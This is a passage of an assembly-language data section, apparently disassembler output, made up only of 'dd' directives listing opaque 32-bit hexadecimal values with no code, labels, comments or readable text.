0D02DB793h, 67ADA647h, 9590F642h dd 44626386h, 0A44D23D1h, 1FE3EC4Ch, 728E2373h, 0B6C7A86Bh dd 78A7907Ah, 0E383B593h, 994F8120h, 0D86A383Ah, 2593ED93h dd 0BBAA67FEh, 62977B54h, 184CD0D6h, 4BE1AE52h, 7CA25CF3h dd 2FD0BC11h, 41B327Fh dd 0F6C2A4FDh, 0E660B714h, 69EC5246h, 0D2453102h, 3E6BB6DCh dd 8BB6E7F9h, 4DB31808h, 0EB018075h, 0BBE79A60h, 0C67B4F3Ah dd 911EB141h, 843EEC02h, 0F025EBE7h, 893D1D90h, 0F6DD996h dd 7BB28D77h, 138FB174h, 0F590BC28h, 7ED60772h, 4E93F734h dd 4EDAFFFBh, 0B094964Ch, 0B8753FC2h, 8CBF280Eh, 1FA589E0h dd 90391F0Dh, 5A18C511h, 50C6F39Ch, 0BF55CD75h, 464A7C04h dd 92C5F08Ch, 561A1463h, 857BE785h, 2D310699h, 42150753h dd 0B3BF3501h, 6786145Ch, 6F795801h, 0C6B9E6Eh, 0A4723A1h dd 0FBF76658h, 7417104Dh, 0E91A11E7h, 72D239DDh, 4C5EA2CBh dd 4A0575CFh, 25148FB5h, 75281638h, 88D974A5h, 8E998178h dd 0B281BB74h, 783F00EDh, 257C40A2h, 0BF48A540h, 0C4C52CD6h dd 0E7813AF5h, 3873B800h, 2E95AD6h, 0AA3B449Bh, 0D6BB207Eh dd 15A7D8F8h, 0BECFEEDFh, 0C7E945E4h, 0A0E62A1Bh, 0E018371Bh dd 0C3B60B1h, 6667CC3Dh, 0EBCD289Eh, 0BD108E66h, 2972D86Ch dd 0E8F16E5Ch, 0BC940CD2h, 0F45927D5h, 0B7137753h, 0FEBA3A2Eh dd 192510C4h, 2EE7CAD9h, 4A996BD7h, 7DBDFB00h, 99B8CA91h dd 0BABC81E4h, 5DC9C80Eh, 0E2C0074Dh, 8902440Bh, 0B498D3F6h dd 0B2B9341Ch, 0E52FD97Bh, 1B96891Fh, 0CFE13A24h, 8E9D4D8Dh dd 384F6941h, 134846E1h, 4FBB0A42h, 17C87BCh, 0D74959D9h dd 0A48FFA42h, 7CABB0F8h, 7839B67Ah, 2A60556Fh, 77B12898h dd 0D7CCCDBh, 5CD76CE6h, 0C6362AF5h, 0DB478407h, 0A0107D1Eh dd 0BD436C61h, 4D049C0h, 0C5B8C77Fh, 0D7DCC1E2h, 11A9Fh dd 820CF1F4h, 10DFD159h, 0EF8AF562h, 0EDFF5F9Fh, 22DE5059h dd 5AE00BD7h, 79CF1D10h, 374A3700h, 0D6101CA5h, 0B1AF984Fh dd 83795304h, 84440B4Fh, 0FFED6E63h, 8AA8D766h, 462292D2h dd 14DCAE0h, 336DBC65h, 8A9F8C5Eh, 0BAEF3221h, 9D5240B1h dd 5BFA7973h, 2DAF3FFAh, 0B3D6ED38h, 3E003F96h, 8B04BBEh dd 2B70697Bh, 2D06DF49h, 0E32691DDh, 0AD5A7E4Fh, 940DD370h dd 970A9AEFh, 0C3662512h, 0EC128AAFh, 0C5962FFEh, 0F0E39587h dd 7CCD24FAh, 1F52AF7Ch, 0D256AC78h, 0EA313F50h, 18A8360Ah dd 18150EE9h, 0A2F9357Ah, 0C1A6DA3Eh, 94898694h, 4426575Eh dd 30B254F7h, 6A7D4153h, 2EE79FF6h, 3AA85018h, 0E49FEBC7h dd 5734D16Dh, 0A2A1B8h, 1208005Ah, 43F75A0Ah, 0B1A6E40Ah dd 95ADC5AEh, 81727C20h, 542D5313h, 1212E04Fh, 0DB6C0002h dd 0CCFD0418h, 6A579A89h, 73A9A253h, 0F92FB9D7h, 0DD62830Fh dd 0DB1015C1h, 6613AC74h, 71FA8BA0h, 5616220h, 4005B08Eh dd 0C880476Ah, 4681D573h, 31779F49h, 53492ABFh, 0E88A90D3h dd 0D22C38EFh, 9B34ED2Eh, 791B67C8h, 799BE0Bh, 0BE338245h dd 0D7583BECh, 0D4D63081h, 2BEA63CAh, 18D964Bh, 0A3300381h dd 3DCDB07h, 46B7CEFCh, 0AF377506h, 886B1927h, 2CBD754Ch dd 1A1A5573h, 374DE76Bh, 0E826399Bh, 0ADA03415h, 0C0ADB121h dd 0EE70A3D4h, 311ECDDBh, 0EAE640A8h, 64A5A1A2h, 0C2FCF801h dd 6483A275h, 0A73F99D6h, 2B1E6E14h, 457798A1h, 0E3B63706h dd 735580ADh, 710B74D4h, 546A93B7h, 4B18A308h, 47115CC6h dd 2AAACD88h, 32AD15EFh, 3834AC25h, 931D74B7h, 0BC2F943Ah dd 9A91E49h, 0F4B2A295h, 0ABAFBD77h, 0BECE5439h, 8AD1E762h dd 0E9CF1F6Bh, 4ECD0E22h, 91EA140Ch, 0F3E292E4h, 35DD5DCAh dd 25DE6A4Eh, 0DD9F7672h, 0F3171D9Bh, 0FE77C885h, 69F6305Dh dd 0DE233401h, 0F19A1B1Ah, 6D7B36C0h, 0B6D68A1Ah, 1E7666B0h dd 6EA56AC3h, 108824B7h, 0CE2A2779h, 31C87AF9h, 78EBAF5Ch dd 0C305C498h, 9D8B17F2h, 0EF6D3B89h, 9859EE23h, 0CD2CC9C4h dd 28E47964h, 8B2DE7Bh, 0B0F4D5F9h, 7A6D7AC2h, 6ACEFCACh dd 2DC51C30h, 168CE40Fh, 747FE6E2h, 0FFA8F7D9h, 0AB90CA84h dd 36CAEA40h, 3DA11079h, 0C1A2BDA5h, 34AD3A1Eh, 53ACCA56h dd 30CEC513h, 0E8C513BAh, 0BAB78B98h, 9B42E470h, 6D3BFEC0h dd 247947E8h, 0F5CCB208h, 2A138EDBh, 5CD4FCD9h, 49C197AFh dd 0CC742911h, 858A16DFh, 21A37602h, 0FCD4724Ah, 8CAEFD58h dd 0FDB66FCCh, 39A30A50h, 0F6471BFh, 69BEBB9Eh, 0E01C4A15h dd 4C5C822Ah, 0E839DF88h, 0A708AD46h, 9427CCF3h, 0C35C32D2h dd 0F352CA0Ah, 6D3EF689h, 0C309B351h, 0FFDF372Ah, 0A0211611h dd 0F2254738h, 0B69E46ACh, 6F2AC9Ch, 0EE3FB1FAh, 66867881h dd 0A9274A11h, 3FF5741Dh, 16E143DAh, 0B4252CF9h, 0EDD83636h dd 0F40848Ah, 55E56F2Fh, 9304D225h, 0E564F420h, 717BAB5Eh dd 0A243AFAFh, 61EEB679h, 818F7696h, 0F5357957h, 4B82392h dd 375DF55Bh, 36740CA5h, 9E7D57F9h, 73543322h, 0F4F9E239h dd 763A76CCh, 6EA4B54h, 0A0C1F3A6h, 0E2DC054Eh, 0C4B8E8E2h dd 0AF79AC09h, 68752305h, 2956EB32h, 68032A55h, 8EC7AA5Fh dd 5133F1Bh, 4A11EBAEh, 87DDC30h, 0DFC196E0h, 9457D498h dd 0CAA7F997h, 7DCC7C50h, 0A14D0EAFh, 0D9AE69DCh, 61C19FF6h dd 4CC778A5h, 0FEF274AEh, 0E7DB6C12h, 0D374896Ch, 0F2104233h dd 5C64161Ch, 0C75AFF9Fh, 0BAB4D4CAh, 92BFF7DCh, 16DAA0F9h dd 21D282DEh, 0E491C916h, 0AB191460h, 0F2B2C108h, 71625E5Fh dd 0A32EC5B8h, 0A793F910h, 0CBC7A7Fh, 1D51B698h, 0B2579E54h dd 7CB8E400h, 1BBBF5h, 0C7CC764Dh, 98D888E7h, 14591617h dd 4925B950h, 808CD1B1h, 0F9B5E0A8h, 4DD6D852h, 0FBF366F3h dd 5173816Ah, 0A7E56701h, 18243322h, 7A0767FCh, 5877350Dh dd 28215341h, 603725B4h, 0CF3E03BEh, 0B5DC2BABh, 85C8E39Ah dd 0AC0F580h, 0AC1FB3CDh, 0FD7E62F7h, 0CB7CF6C1h, 320342F0h dd 0E8D8D415h, 6C96844Fh, 0FBAB5D3Fh, 21217911h, 0B57B0318h dd 6B9741E0h, 0AECC846Dh, 8BFE6562h, 5866918Ah, 5B85CAE1h dd 0FE2BD9B3h, 0F4C340DAh, 7DD73D38h, 705EAC90h, 9B4ED8DEh dd 0E66B6AA7h, 0E25A70F1h, 2BB9A529h, 0E02E6594h, 68A5EC6Ch dd 8A39C3Ah, 1D2185FBh, 634ADC08h, 0D69561D1h, 291554AFh dd 0FD74A600h, 9FFAF0Eh, 0F350D43Dh, 8B7FCA5Ch, 6015F5B2h dd 0DB62BF34h, 5C7DD4F7h, 0C1F91D5h, 8225B5Eh, 6D089CFCh dd 59611558h, 32B6401Ch, 0FDFFCF08h, 6C76DDB1h, 72772E96h dd 6BF9026h, 6E9AC58Bh, 0DDAE5101h, 8E052C25h, 40705B87h dd 0ADC032F0h, 0D146B9CBh, 0B95FFF00h, 0C499FD77h, 388D81CCh dd 0ECC8B85Ah, 22FCF025h, 686CDA12h, 54F5F059h, 0BBC102F4h dd 0A1866A93h, 0EA5A61A7h, 5C58C574h, 47466C18h, 0CB3D6253h dd 50EB737Fh, 2C43A6Eh, 0D1704568h, 0B3488D83h, 4CFC44C0h dd 4A0D93F6h, 98CED7EFh, 0B376577h, 0A07DF8D6h, 2E62F497h dd 8B70D32Fh, 0C855517h, 470A8030h, 6A45935Eh, 0D0611317h dd 158ADB2Eh, 4B930B3h, 9ED60E93h, 0ADFB0A8h, 80132437h dd 34725F96h, 0E275EA64h, 6B3E5CCCh, 8FD95A39h, 0E41A6B33h dd 53A31BC9h, 0E24691BFh, 228F7FFCh, 7559DFDEh, 5880AF3Bh dd 1EDFB8C6h, 3AFCAD9Dh, 446FE12h, 0CEA4B191h, 787F8ED9h dd 4FEF2F47h, 6B6D3098h, 686A020Dh, 0BFDBC3E6h, 1ABD5F20h dd 0DCB54EC7h, 3A379DBFh, 0C6174F5h, 95BBD143h, 0F6C15A7Eh dd 9BB76C55h, 3E53DB35h, 76744215h, 0A8097FF9h, 0C8415E77h dd 0C762E74Bh, 2B7EFA20h, 98318887h, 52A6C10Fh, 7FC0EC1h dd 84E82D9Dh, 0EF05B47Eh, 8661DC10h, 7A069A7Ah, 0B4117884h dd 44EDB0h, 68C68DFEh dd 0AD7C83DCh, 0F86E6C2Ah, 1D9A5973h, 0ECBFB42Ch, 7B96204Dh dd 2817DEA2h, 7EFFA08Ah, 77BB2E9Dh, 99FBFE17h, 808A5586h dd 0AE84CE9Fh, 5DA2BDDh, 0C9ABF3B8h, 0B897723Bh, 0DB9C6BEDh dd 8E9E1F46h, 8F71BE46h, 0C7F44B08h, 0EA061815h, 145B7BFEh dd 0E3ECD1DBh, 72964E74h, 561701ADh, 0E213EF44h, 6B5370ADh dd 0B4098328h, 779C8CB0h, 0CE31B49Ch, 0D6AC2807h, 24D19C28h dd 0F40C3C30h, 4BDDD597h, 3A51AF6Dh, 619438D2h, 3E30C8B6h dd 95D30540h, 0B41145DEh, 0FE683C1Ch, 0E013BE6Bh, 3FC56986h dd 68A89126h, 74130822h, 491C447Eh, 5969B06Fh, 0E5111075h dd 0DC8074BBh, 7140E8C0h, 6013F92Bh, 0FBE5DB32h, 0A0F7D9FFh dd 0DFDE2162h, 0D9BF579Ch, 0F584C258h, 796E836Eh, 0C6DA05A3h dd 72E859BBh, 2EBFE8D0h, 2B45A04Fh, 0AC45A7A4h, 42962821h dd 0BC3AF2C5h, 0F0DA7A59h, 5D56B7B0h, 0B8210163h, 0AFDF164Ah dd 5042B878h, 0AF2B9E01h, 0B88C247Ch, 27A14666h, 529494FDh dd 0F5F13648h, 1B330AC7h, 62564C32h, 0B3EC7F72h, 0E24BBA3Ah dd 9186EC47h, 0E1407ED9h, 0DBE7F82Ch, 11702173h, 6BEDD7FEh dd 87AE78Ah, 0CB27C23Ah, 38DDEE50h, 0B365D2F7h, 20937AE7h dd 0BA15E349h, 0DA7C97BCh, 0DF26BDA4h, 14FE6BC3h, 0F2CC4A7Bh dd 0F519DCB8h, 0AEA0262Dh, 756216E0h, 5C822B22h, 415D0649h dd 94FF5ACDh, 33669C00h, 665B7938h, 86AEE687h, 0E2504A21h dd 0EA1CDDC2h, 0B517F43Ah, 3D8CD3FFh, 542EAC82h, 2194B140h dd 65EE5E2Ah, 48348353h, 419C0141h, 0B343C76Ah, 63DBAF74h dd 0BE634000h, 0B38D6E6Eh, 7E0D74DBh, 2578A419h, 0E51D9CE2h dd 41313A88h, 70A94A32h, 0E09B4CFBh, 0E57AC25Eh, 807698B7h dd 9B1500DBh, 0DBE8104Bh, 1C85BBEBh, 2BF14547h, 0A7EE3460h dd 0E17CC136h, 0ED8F9413h, 0E0AE2D73h, 9120653Eh, 6AE5E08Ah dd 8314D44h, 70897698h, 8EEEC948h, 0C81436AEh, 40C4D42Ah dd 0AF41D5EDh, 0CD1835DFh, 2D3534Ah, 0BC1F7CCCh, 3B5819CEh dd 0B386B635h, 43541109h, 522EACA5h, 0CF700037h, 43B59BC7h dd 21C79146h, 0E6A3000Bh, 9E0C54E1h, 7397C43Ah, 0CB541519h dd 53908224h, 13C8345Dh, 0DDD0E7BFh, 5611792Eh, 0C609577Dh dd 0B644EFC3h, 5A5DD5CBh, 0E949BC74h, 9839A16Dh, 66A38E95h dd 8D3C8196h, 8433B2CFh, 0CEC42EFh, 7ACB7DE8h, 0DA364882h dd 81D19B8Ch, 7BA19728h, 90092ADAh, 8156B183h, 3DC4DE1Ah dd 0BF7F59ADh, 6F7B332Dh, 0FE42FF30h, 1221A764h, 0F0F3336Fh dd 0D45B3F1Bh, 57CBF9Eh, 549C5EEFh, 7D64BC9Dh, 7F81F0F7h dd 99DC214Eh, 6928876h, 858F2A21h, 49EA876Fh, 27B612BDh dd 7F26EF6Bh, 0A3C5A7C4h, 0CE4BC92Ah, 0CA868DCDh, 0C864A258h dd 0D1846E84h, 0E27F6248h, 7B73DD2Ah, 4D14BE04h, 7FEC0DF2h dd 669E295Ah, 0D92FA053h, 2FDCF46Dh, 0E938CF55h, 26953A2Fh dd 0D179C21Bh, 0E81FA8D8h, 0CAC9D7A1h, 82B745DCh, 92FB720Fh dd 0D052865Fh, 7D3DD56Ch, 0D5B36D3h, 0EB91C46Eh, 3EEC1F33h dd 8AA3A33Ch, 1E827DB5h, 0DEA8C35h, 0FB397C3Ch, 16981956h dd 86D0CFF6h, 0F2A6C5DCh, 0ADB4628Ch, 0B9374319h, 166D3C6Dh dd 36193209h, 2DB7F241h, 6B41D8A2h, 55E43020h, 0F40A2F7Fh dd 5AED0544h, 6B0EE56Dh, 0EF24A534h, 5E8DB992h, 3CCBB7FDh dd 6C456B33h, 229AAEE1h, 0AB44BA7Fh, 1A119F7Bh, 0E40B39A7h dd 0BF86ACCDh, 50395211h, 16163059h, 7B2F4DC2h, 0CCD5BCDDh dd 0CEB4934Fh, 54783E0Ch, 990BF80Eh, 4881D18h, 8071368h dd 590C30F0h, 0EA0693CCh, 0F50F9424h, 0DA8AA3FDh, 0AA196DB3h dd 5723BECFh, 63EEEBB5h, 0FB1BB612h, 43376DEBh, 0EDAB540Bh dd 0B72EDAB2h, 0B6DB45B9h, 8F5491B4h, 3F8DC6C4h, 0FC407E70h dd 69F35E8Dh, 84A7C74Ch, 0BBD8A51h, 0C99B6836h, 0A7BFD809h dd 0CE6E2802h, 6731045Fh, 0B5CF5742h, 2461FA1h, 2291A1F9h dd 1083A0FDh, 0C00ACAF8h, 92B26212h, 3BFA6348h, 0D8238057h dd 5F6401F4h, 77CEA09h, 0E0989B51h, 37B8367Eh, 3EBD81B4h dd 505CAD64h, 86FA7B8h, 45F894AFh, 93EF7B4Fh, 81217AA6h dd 442F705Bh, 0AF66CAC1h, 0A1FFB5h, 82F769Eh, 0E80F32FAh dd 825D62CCh, 0E15A52E3h, 53E90D91h, 0FE3A5A33h, 2BA89EF6h dd 23313185h, 84A5673Fh, 39FBEC71h, 948BA6CDh, 0A72D8B8Ch dd 58FA7F1Dh, 0CB8E3690h, 0FB0DB651h, 2815B03Fh, 978AD1B5h dd 0C1D112A9h, 0BA67C98Ah, 1E3ABC8Dh, 0D5311CB4h, 9BE36B01h dd 0F55F162Ch, 18FE105Eh, 9C8D5534h, 97494CECh, 9C02CB57h dd 443723E8h, 908618C3h, 8294EAA8h, 0ADCD9E9h, 0B602565Ch dd 81BB0B61h, 0ED5B6918h, 0ED1D50Ah, 0B5FB997Dh, 10AC7050h dd 0FF88225Ch, 7861E39Bh, 8823D5BAh, 0BB49C717h, 86D80F15h dd 0CF446810h, 685E0CF9h, 0D02A935Ch, 4FE6B17Dh, 0C1C00D16h dd 0DF18B6D9h, 5ADD9126h, 7B1B613Ah, 8A875714h, 70B068BCh dd 390EDF25h, 7C2B454Bh, 0E9B7AEC2h, 15547411h, 73DB446Ch dd 985935C1h, 0E493D568h, 541EF1E0h, 1CDB628Eh, 0ADC0913Dh dd 0AE4B8724h, 0A36BAF8Eh, 0A21030D7h, 0D70A4C57h, 84E35513h dd 8A565EE9h, 0B31E736Bh, 2A7A6118h, 0FF8B0F19h, 0ED735F3Ch dd 0EDD33033h, 7ED13002h, 12644438h, 2C0A7FAFh, 62637524h dd 469A8F93h, 0F6EDA9BBh, 0DF6D72E9h, 0E8752AC5h, 23DC9A7Bh dd 6BAEEC39h, 0F47D1DA3h, 0CD7ED8EFh, 0DA4B987Fh, 0CD3E5D47h dd 44A00886h, 22AEBC17h, 85ADAD2Dh, 262CB7B8h, 908C8CF2h dd 84D832A1h, 0B9A0300Dh, 0F774CB3Eh, 0D07E1101h, 7D9297FDh dd 25ED1D56h, 0C76DE4FCh, 0FF3BF0DEh, 0A62BFD0Ah, 4D5C5EF9h dd 3F239037h, 55510B55h, 0C592CF6Fh, 173C5D48h, 0E8EF55F7h dd 0A24F6786h, 0F18D638Eh, 961D91D6h, 6EA301E9h, 1E9F701Dh dd 1E3DE3FFh, 2FE06CF8h, 930C859h, 0FA8E0A17h, 39B43F31h dd 51B0F141h, 4B610408h, 0B26B4A63h, 0EAC21EDFh, 4EEBF8CFh dd 4717A306h, 9B567CECh, 5FAF87DEh, 735BCA1Ah, 954750E0h dd 0F895E55h, 68D956EFh, 356A59Ch, 8592E85h, 5BE6B863h dd 15B63A5h, 0BEDFD27Eh, 0D9FFDEF6h, 0E86B3E7Ah, 0A951DE53h dd 7532C033h, 95647FAEh, 112DE1D3h, 51A3BA16h, 718F9DF1h dd 0A2125641h, 7EA27773h, 4DC7EC7Ah, 183AABB1h, 0EC26F7C3h dd 15BD002Eh, 1CBDBE1Fh, 2D102D7h, 5AC09F04h, 5F57C4A5h dd 57DE7CB7h, 872E33E2h, 0AD7C9B11h, 1A379623h, 0E2013E42h dd 9C373383h, 0CA63EA01h, 0AF618E46h, 0BEEF571h, 0A23DE85Eh dd 98F5CDD7h, 254308E1h, 0E5D2CFCCh, 0BDCEFE12h, 43E203B3h dd 0E294B243h, 318F5554h, 2129E836h, 7C2DB675h, 0F8865839h dd 575C1391h, 9DD5D747h, 0A7555FC2h, 6F4693ADh, 149F27EFh dd 79FD984Ch, 6F33A1F1h, 36BD18B7h, 6EDD0A9Ch, 75873E62h dd 48E11B08h, 2ED1E643h, 0BF8BCB93h, 122AC987h, 0DCAC6722h dd 90F05FBCh, 45131E3Fh, 0DEE3E2EBh, 8FF74A90h, 9058AEC3h dd 3C72C529h, 901ABB53h, 0D747B1E6h, 0BAA02C26h, 0F7579A62h dd 0CE8236AAh, 1B26AA5Fh, 53DD2B3Ch, 0F039E1C8h, 533607B6h dd 0CA015F9Bh, 0A2A001DEh, 43172CE9h, 0FEEBCE34h, 0BABB86BDh dd 0C258056Eh, 0D8B39583h, 6A9739F8h, 0D39228E9h, 588A34h dd 713BC281h, 0B3907C59h, 1644F083h, 42E87668h, 3AC8ECh dd 5F0C907Eh, 0B8568E65h, 5B2F74DFh, 887E1B49h, 3F7D7D55h dd 5CC64235h, 43EDDF35h dd 0C9DD7E65h, 5B19D57Dh, 0A4DB165h, 0EF7ABFB2h, 0F84B8D36h dd 86B44007h, 578957ECh, 0B62BCFA3h, 3CDA435Fh, 171BFCD2h dd 484B64C6h, 746BC871h, 47974F1Dh, 8BAA47A5h, 792808F2h dd 8D6F9E25h, 41BCAB2Dh, 26EA9860h, 9B00F2FFh, 7FF15092h dd 7E09C84Dh, 813B5651h, 3BA1913Ah, 0BA44B601h, 694DFBA4h dd 0B15D7C99h, 96514F6Ch, 4B0B7C2Ah, 0DBBB7BD3h, 9C3677EEh dd 13132223h, 9A953F2Dh, 0C22442C4h, 0EBF1D1B4h, 8C83A024h dd 0FF4333FCh, 7B4A485Fh, 95CA941Ch, 8F47755Ah, 81145D13h dd 0B2FFA331h, 0E678692Eh, 2E376E37h, 69E5DF57h, 8718DEFDh dd 27AFADAh, 0E53647FDh, 0DC8FC9B3h, 52998FF0h, 514E932Fh dd 6F8E06F9h, 8392D0F9h, 24D80FA7h, 0D3253540h, 0DFB28103h dd 3B74B309h, 5B640ECBh, 0BECF61EBh, 0F56C55F5h, 8A1FAF04h dd 36419760h, 0B5788D10h, 0AE467B90h, 9A21997Eh, 2D91C7A9h dd 0D4ACAE6Ah, 56D8105Fh, 0BA0ED231h, 86887BF9h, 0C1969A7Fh dd 30BF452Ch, 10286B28h, 49E9E68Bh, 0C7292E89h, 0C385AEBDh dd 8FBAE403h, 37A0CA7Ch, 3589CCCCh, 0A6779C13h, 4358338Fh dd 0F4CC0ADFh, 45FC941Bh, 5146FED5h, 0C986F5ECh, 0EBCF809h dd 5A298756h, 18AAF4B8h, 246AEEF1h, 3C259169h, 0F383B2BBh dd 0A39E436h, 6668FEC5h, 1CA9ABDBh, 0F6A7CCE8h, 94A6E5EDh dd 7CF67D44h, 0B47D20BFh, 9B02FEA0h, 7150EB51h, 9741EDF1h dd 0C1646FC7h, 0E37CFAEAh, 5604924Eh, 0DE218005h, 2C7B4FD4h dd 9FDA1AAAh, 68F3DDA7h, 6F527C65h, 2B62B203h, 0BE836C4Dh dd 0EFEE92C5h, 0F517AE83h, 491C4913h, 9152E110h, 94B6A228h dd 1EF2F9F1h, 34A4BA81h, 0D48B14F6h, 67F29F4Eh, 8761F2C6h dd 3E68BE9Ah, 3B88DD11h, 997F1533h, 22C6BD54h, 47F698B3h dd 0F7BFF4FFh, 5F3E35Eh, 5699E5A1h, 230F6BC4h, 0DAB4DE54h dd 0B2F9CFDAh, 25574B84h, 0C0B5D359h, 7B01DE7Dh, 0B242E000h dd 70E863D3h, 6C2FF4ADh, 0ADF18ECCh, 0D9643A8h, 0E6BCAE93h dd 701BB291h, 791301A0h, 4472ACCFh, 5EA56506h, 0F080B6D8h dd 7534645Fh, 364978C3h, 0A00030h, 3D583A3Fh, 0BF9FCDCCh dd 3C21A77Fh, 89E8169Dh, 9F101CECh, 4940702Ah, 0F15A5946h dd 0BD5D72F0h, 24F919CEh, 6733CDA1h, 0E6BEDC11h, 340F0E71h dd 3F34C135h, 9151A9BCh, 0FE27BE01h, 673AF5C3h, 1D1EA3F2h dd 4C49C144h, 678E8921h, 411AB6F3h, 485792DFh, 8F4CF058h dd 94FF7FF3h, 0BAAF1090h, 0E2CD188Bh, 0F3669C3Dh, 367C732Ah dd 0FC1D1705h, 61BF14DFh, 0A84E44D3h, 0AB368026h, 0C60EE369h dd 53DC2E85h, 0F48D44C2h, 0DB9A6F30h, 0FC72357Ah, 5EED2E98h dd 8A9B5CBh, 1B7AE751h, 0CBFB924Fh, 165850FDh, 4F8A8D0Bh dd 0D792ADABh, 89C42AF2h, 0D6E66082h, 0C54F46C5h, 0E3AB9900h dd 506AD244h, 5E174C92h, 0F5875AAAh, 0DA22679Ah, 0AB15378Ah dd 52258494h, 0AF58CBC7h, 3452A2DAh, 0CC186B62h, 66920229h dd 99632F5Fh, 6C0890E6h, 0A52A8E69h, 25672C67h, 403F7538h dd 18FA4FA2h, 0EF02B09Bh, 51A59F66h, 80E7BC22h, 647BC316h dd 0F006ADECh, 0AF8F69CEh, 0E1F59927h, 0D0D0E590h, 698211C8h dd 0B4BDC9h, 0CD6BE5D2h, 904DF5D5h, 2179F59Eh, 0E8D1134Eh dd 9C5B0156h, 5A517D86h, 257822EDh, 2CE00D9Bh, 0C7F59E88h dd 57E5CF40h, 0CB42FC60h, 75FA518Ch, 836920DBh, 0FD8F8DCh dd 0ADD8020Eh, 0E7806BC3h, 7CBD94AFh, 56932BC8h, 91D48632h dd 5BD24C58h, 58CF29C2h, 234C97D0h, 0E316142Dh, 7F898FACh dd 0D3C78642h, 6C046139h, 9D33A91Bh, 36D3AC84h, 9E4FE19Eh dd 0F49BBABDh, 0A0961B7Ch, 0DE2F5CD8h, 4717055Ah, 3409306Ah dd 590B03EBh, 0D42180C6h, 0EC87AFF4h, 0B60AA47Eh, 26169681h dd 0B1A5554Eh, 1ED1C941h, 5EE50EFCh, 0B1C19D72h, 69ABC91Bh dd 3C9F46BCh, 0B47A89F7h, 0E48637B6h, 95360AEBh, 0F9A486C8h dd 6BFAF99Eh, 4C3A4EF4h, 1295D9D1h, 0CABF2E53h, 2A4867A9h dd 0C7881DBh, 0D12F99C7h, 0E51360DBh, 3ED6696Eh, 0F113BBFBh dd 3E04EB80h, 67158A75h, 975D3AB9h, 8549919Ah, 0DF003599h dd 1FE36E98h, 3DFF2C36h, 9773DE4Fh, 0A2DD3AF6h, 6C0148DCh dd 67553B96h, 0CB513BC4h, 8D23325Bh, 0ED12C5EAh, 896B1A6Ah dd 0ED305879h, 0B6775CA3h, 0D98E3180h, 0D0465672h, 0A140E5E3h dd 60818590h, 0BEEAED69h, 0D111738Eh, 0C2DBE6DCh, 3464F47h dd 2F800B51h, 0C5244174h, 0EB54961Bh, 0AB51C6B9h, 3BF465B5h dd 0F5094A9Dh, 0DA54B7F2h, 0D067E612h, 449D9677h, 5E826EFAh dd 1B6ABAAEh, 6794875Ah, 0B8354F5Eh, 698F4BAAh, 0FC55416Bh dd 0FEF0DED5h, 2273DBCh, 9360ABAEh, 5F03FCD9h, 640FFAEEh dd 0B3F50946h, 9C31961Fh, 17A54829h, 370296A4h, 65EF0ECEh dd 2CDBF952h, 0B99ADCA9h, 40949F5Dh, 4515ABB1h, 0B74BE100h dd 11A88C39h, 6BF3A114h, 7DF3C296h, 73224F20h, 0C69B0A85h dd 8DB31975h, 71B1AD6Eh, 39C6B27Eh, 0E546AFBAh, 7A7526DDh dd 0BD6C5B38h, 339A33F4h, 0CF1BE4A3h, 0FDE05BDDh, 0A7DCD323h dd 420B26E5h, 237B77BFh, 7DE7F4D7h, 224186E8h, 0EB0F1C3Fh dd 1E173FC3h, 45B146DFh, 8A96833h, 4075C143h, 0BE33DD8Dh dd 0B03EF55h, 6AE1C4B5h, 682D1F0Eh, 0ED7EA984h, 3C8C3C7Eh dd 0AC419E8Ah, 461838D8h, 5CED8ABh, 33210012h, 0E4E02E23h dd 0C306AC94h, 13712BFFh, 193B1DC8h, 41BD6FF7h, 0BCB4D4D2h dd 0C45FBDEAh, 1572E605h, 9DA50E0h, 0C09052D3h, 39666850h dd 35FCD11h, 56ED4A74h, 0DB44C71Eh, 62AB1B81h, 7A196B06h dd 8B33926h, 0D337843h, 9DEF1129h, 0CCF2552Fh, 0DDDDF5D1h dd 21C1CBC4h, 7A6C181Ah, 0D6758D19h, 0E99F53B3h, 60431A0Bh dd 862EBA3Dh, 11ADF368h, 0E56A890Ah, 7B8854D6h, 2D153BFAh dd 0F1AD2CDBh, 0ED7362Bh, 373677BEh, 604DD413h, 2E9BBAEBh dd 9DB904EEh, 3023E27Eh, 0C0E8E85Ah, 0DEC077ABh, 0E9981EE7h dd 0F46DD1CDh, 25CCA4F2h, 63D0E177h, 9E03F05Ch, 165F2405h dd 121D8D59h, 3C4E21D0h, 990BF2C7h, 793DDD45h, 0D1346D38h dd 0F1F264A6h, 0D34E2AD6h, 0DCA3F47Fh, 0E3AABB5Bh, 5986DA8h dd 0BFD4AA7Fh, 63087854h, 64E37336h, 60B47413h, 80F3D37h dd 5E8BE48Ah, 0DCC28B21h, 366C42D4h, 487D7219h, 0DB21421Bh dd 0BD7C897Dh, 0D5B412EAh, 0B4B0FF91h, 9F599519h, 7C562E06h dd 5175BEA9h, 83762A33h, 15596C63h, 4FD28257h, 59393BD1h dd 0CCB8E89Dh, 0BD1E3D99h, 9F83E533h, 165EA233h, 3700448Ah dd 0A5F4307Dh, 409D6027h, 0EF27CD8Eh, 91DFAF55h, 0E3CF7F73h dd 0A3FC95F3h, 974A9341h, 4E677F06h, 0A39AFC6Fh, 0AAE0E140h dd 16B135ECh, 33412D18h, 0B0BDB76Bh, 0BD3E26B3h, 9836449h dd 5FFCA322h, 957AEE05h, 4442EDA2h, 0B2DDFE9Ah, 25C83C50h dd 0DF5D2287h, 8E827592h, 9EAC1A6Dh, 3FE6CF6Dh, 8D780A04h dd 22CD44D9h, 0FC97B832h, 325A50A0h, 4D8760B3h, 6E096696h dd 0AE0F172Fh, 3EDC11BAh, 52147AABh, 10BC8A20h, 775E154Eh dd 7784195Ah, 51882C75h, 0DF448FF9h, 53EB10B7h, 88396CDFh dd 0FB7B18DFh, 0A312DDE8h, 0FF5BBBCh, 270F5ADEh, 2F548E3Dh dd 0B6BAED6Dh, 0E4EF2163h, 0B644DA13h, 99DCD840h, 0A4B57023h dd 2043D1D0h, 903E9D9Eh, 3CC82D7Dh, 0D6920E55h, 0EF1EAAABh dd 0FA97A928h, 97B674B6h, 0DA95C270h, 808AEF27h, 466F0CADh dd 0DBFCF5A5h, 7173DEEBh dd 1B890671h, 0F4C19E85h, 0FAE9A750h, 7CBF407h, 0DE33A398h dd 95EF1198h, 0B54873B9h, 11BF32FAh, 51AB23EBh, 0BF0E150Bh dd 4BAD94B1h, 60A44A46h, 1B663305h, 0DC1B94A3h, 435F9697h dd 0A3714A14h, 25F477Ch, 0F77E5A00h, 8E72BE5Eh, 0AA215397h dd 0CCC59AB7h, 0A85C9D70h, 0C8BC05BDh, 47D13E5Dh, 55C97E4Dh dd 0D0D4CA0Dh, 